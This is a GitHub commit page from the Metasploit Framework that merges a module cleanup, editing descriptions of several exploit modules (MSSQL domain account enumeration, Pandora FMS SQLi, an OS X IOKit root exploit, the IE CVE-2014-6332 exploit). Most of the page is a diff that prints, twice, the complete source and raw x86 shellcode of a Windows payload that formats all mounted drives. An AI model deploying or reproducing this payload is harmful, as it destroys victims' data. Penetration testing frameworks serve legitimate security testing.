Skip to content

Commit 2f98a46

Browse files
wvuwvu
committed
Land rapid7#4314, @todb-r7's module cleanup
2 parents 38d1b21 + 79f2708 commit 2f98a46

File tree

6 files changed

+99
-102
lines changed

6 files changed

+99
-102
lines changed

‎modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
1717
'Description' => %q{
18-
This module can be used to brute force RIDs associated with the domain of the SQL Server
18+
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
1919
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
2020
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
2121
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated

‎modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Microsoft SQL Server - SQLi SUSER_SNAME Domain Account Enumeration',
1717
'Description' => %q{
18-
This module can be used to brute force RIDs associated with the domain of the SQL Server
18+
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
1919
using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
2020
smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
2121
role (everyone). Information that can be enumerated includes Windows domain users, groups,

‎modules/exploits/linux/http/pandora_fms_sqli.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
def initialize(info={})
1515
super(update_info(info,
16-
'Name' => 'Pandora FMS SQLi Remote Code Execution',
16+
'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution',
1717
'Description' => %q{
1818
This module attempts to exploit multiple issues in order to gain remote
1919
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt

‎modules/exploits/osx/local/iokit_keyboard_root.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ def initialize(info={})
2323
2424
Tested on Mavericks 10.9.5, and should work on previous versions.
2525
26-
The issue has been patched silently in Yosemite.
26+
The issue was patched silently in Yosemite.
2727
},
2828
'License' => MSF_LICENSE,
2929
'Author' =>

‎modules/exploits/windows/browser/ms14_064_ole_code_execution.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,10 +27,11 @@ def initialize(info={})
2727
super(update_info(info,
2828
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
2929
'Description' => %q{
30-
This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.
30+
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
3131
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
32-
Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,
33-
the user has to manually allow powershell.exe to execute in order to be compromised.
32+
For this module to be successful, powershell is required on the target machine. On
33+
Internet Explorer versions using Protected Mode, the user has to manually allow
34+
powershell.exe to execute in order to be compromised.
3435
},
3536
'License' => MSF_LICENSE,
3637
'Author' =>

‎modules/payloads/singles/windows/format_all_drives.rb

Lines changed: 91 additions & 95 deletions
Original file line numberDiff line numberDiff line change
@@ -1,95 +1,91 @@
1-
##
2-
# This module requires Metasploit: http://metasploit.com/download
3-
# Current source: https://github.com/rapid7/metasploit-framework
4-
##
5-
6-
###
7-
# Shellcode Of Death
8-
#
9-
# Test bed:
10-
# x86: Windows XP SP3, Windows 2003 SP2, Windows 7
11-
# x64: Windows 8.1
12-
#
13-
###
14-
15-
require 'msf/core'
16-
17-
module Metasploit3
18-
19-
Rank = ManualRanking
20-
21-
include Msf::Payload::Windows
22-
include Msf::Payload::Single
23-
24-
def initialize(info = {})
25-
super(update_info(info,
26-
'Name' => 'Windows Drive Formatter',
27-
'Description' => %q{
28-
This payload formats all mounted disks in
29-
Windows (aka ShellcodeOfDeath).
30-
31-
After formatting, this payload sets the
32-
volume label to the string specified in
33-
the VOLUMELABEL option. If the code is
34-
unable to access a drive for any reason,
35-
it skips the drive and proceeds to the
36-
next volume.
37-
},
38-
'Author' => [ 'Ashfaq Ansari <ashfaq_ansari1989[at]hotmail.com>',
39-
'Ruei-Min Jiang <mike820324[at]gmail.com>'
40-
],
41-
'License' => MSF_LICENSE,
42-
'References' =>
43-
[
44-
[ 'URL', 'http://hacksys.vfreaks.com/research/shellcode-of-death.html' ],
45-
[ 'URL', 'https://github.com/hacksysteam/ShellcodeOfDeath' ],
46-
],
47-
'Platform' => 'win',
48-
'Arch' => ARCH_X86,
49-
'Privileged' => true,
50-
))
51-
52-
# EXITFUNC is not supported
53-
deregister_options('EXITFUNC')
54-
55-
# Register command execution options
56-
register_options(
57-
[
58-
OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ])
59-
], self.class)
60-
end
61-
62-
def generate
63-
64-
volume_label = datastore['VOLUMELABEL'] || ""
65-
encoded_volume_label = volume_label.to_s.unpack("C*").pack("v*")
66-
67-
# Calculate the magic key
68-
magic_key = encoded_volume_label.length + 28
69-
70-
# Actual payload
71-
payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" +
72-
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" +
73-
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" +
74-
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" +
75-
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" +
76-
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" +
77-
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" +
78-
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" +
79-
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" +
80-
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" +
81-
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" +
82-
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" +
83-
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" +
84-
# You need to adjust this. Logic: encoded_volume_label.length + 28
85-
[magic_key].pack("C") +
86-
"\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" +
87-
"\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" +
88-
"\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" +
89-
"\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" +
90-
"\x53\x00\x00\x00" +
91-
# Volume Label, default: PwNeD
92-
encoded_volume_label +
93-
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00"
94-
end
95-
end
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
# Shellcode Of Death
8+
#
9+
# Test bed:
10+
# x86: Windows XP SP3, Windows 2003 SP2, Windows 7
11+
# x64: Windows 8.1
12+
#
13+
###
14+
15+
require 'msf/core'
16+
17+
module Metasploit3
18+
19+
Rank = ManualRanking
20+
21+
include Msf::Payload::Windows
22+
include Msf::Payload::Single
23+
24+
def initialize(info = {})
25+
super(update_info(info,
26+
'Name' => 'Windows Drive Formatter',
27+
'Description' => %q{
28+
This payload formats all mounted disks in Windows (aka ShellcodeOfDeath).
29+
30+
After formatting, this payload sets the volume label to the string specified in
31+
the VOLUMELABEL option. If the code is unable to access a drive for any reason,
32+
it skips the drive and proceeds to the next volume.
33+
},
34+
'Author' => [ 'Ashfaq Ansari <ashfaq_ansari1989[at]hotmail.com>',
35+
'Ruei-Min Jiang <mike820324[at]gmail.com>'
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
[ 'URL', 'http://hacksys.vfreaks.com/research/shellcode-of-death.html' ],
41+
[ 'URL', 'https://github.com/hacksysteam/ShellcodeOfDeath' ],
42+
],
43+
'Platform' => 'win',
44+
'Arch' => ARCH_X86,
45+
'Privileged' => true,
46+
))
47+
48+
# EXITFUNC is not supported
49+
deregister_options('EXITFUNC')
50+
51+
# Register command execution options
52+
register_options(
53+
[
54+
OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ])
55+
], self.class)
56+
end
57+
58+
def generate
59+
60+
volume_label = datastore['VOLUMELABEL'] || ""
61+
encoded_volume_label = volume_label.to_s.unpack("C*").pack("v*")
62+
63+
# Calculate the magic key
64+
magic_key = encoded_volume_label.length + 28
65+
66+
# Actual payload
67+
payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" +
68+
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" +
69+
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" +
70+
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" +
71+
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" +
72+
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" +
73+
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" +
74+
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" +
75+
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" +
76+
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" +
77+
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" +
78+
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" +
79+
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" +
80+
# You need to adjust this. Logic: encoded_volume_label.length + 28
81+
[magic_key].pack("C") +
82+
"\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" +
83+
"\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" +
84+
"\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" +
85+
"\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" +
86+
"\x53\x00\x00\x00" +
87+
# Volume Label, default: PwNeD
88+
encoded_volume_label +
89+
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00"
90+
end
91+
end

0 commit comments

Comments
 (0)